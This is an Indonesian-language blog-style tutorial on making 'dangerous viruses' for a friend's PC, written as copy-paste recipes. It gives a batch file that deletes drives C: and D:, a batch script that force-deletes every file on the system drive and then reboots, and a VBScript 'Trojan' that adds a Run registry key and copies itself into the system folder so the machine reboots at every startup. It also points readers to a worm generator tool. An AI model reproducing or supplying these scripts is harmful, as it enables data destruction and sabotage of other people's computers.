VBS FILE - cara membuat virus berbahaya untuk pc teman

caricatoor virust

pernah kepikiran sama virus ato pernah jadi korban virus pc ? ckckck sabar yah.. penasaran gimana buatnya ni saya kasih beberapa script buat kamu yang pengen buat virus di komputer/pc/leptop dsb 

ok check this kawan ;)

_______________

1.delete harddisk 

Virus yang akan kita buat kali ini adalah virus yang mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrem untuk dipraktikan. Jadi, jangan sampai disalah gunakan.

bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa
terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total.


Langsung saja, buka notepad dan ketikkan script berikut ini :






@echo off
DEL C: -Y
DEL D: -Y



Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.


Setelah file ini disimpan, JANGAN DIKLIK!!!




_________




2.crash pc

jangan dicoba sebelum menggunakan deep freeze .
Ini adalah script untuk membuat PC korban crash
Silahkan di copas

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.




_________




3.TROJAN


Membuat Virus Trojan Dengan Notepad,, oke langsung aja






a.Buka Notepad Agan" masing",,,


b.Setelah Dibuka, Copy Kode berikut,,



rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function






c.Setelah Dicopy, Save as dengan ektensi .VBS, Contoh : Virus.vbs






_______________






4.worm generator


membuat Virus yang Mematikan WORM,, Worm adalah Virus yang menyebabkan Infeksi pada PC,,,,


oke langsung aja :



buka aplikasi VBS Worm Generator
Buat Yang Belum ada Download Di Link Berikut ini : VBS Worm Generator
Isi Form name dengan Nama Virus anda
Dan Pada Form Backup tempat backup Virus anda..


ok cukup nanti saya update lagi bye ;)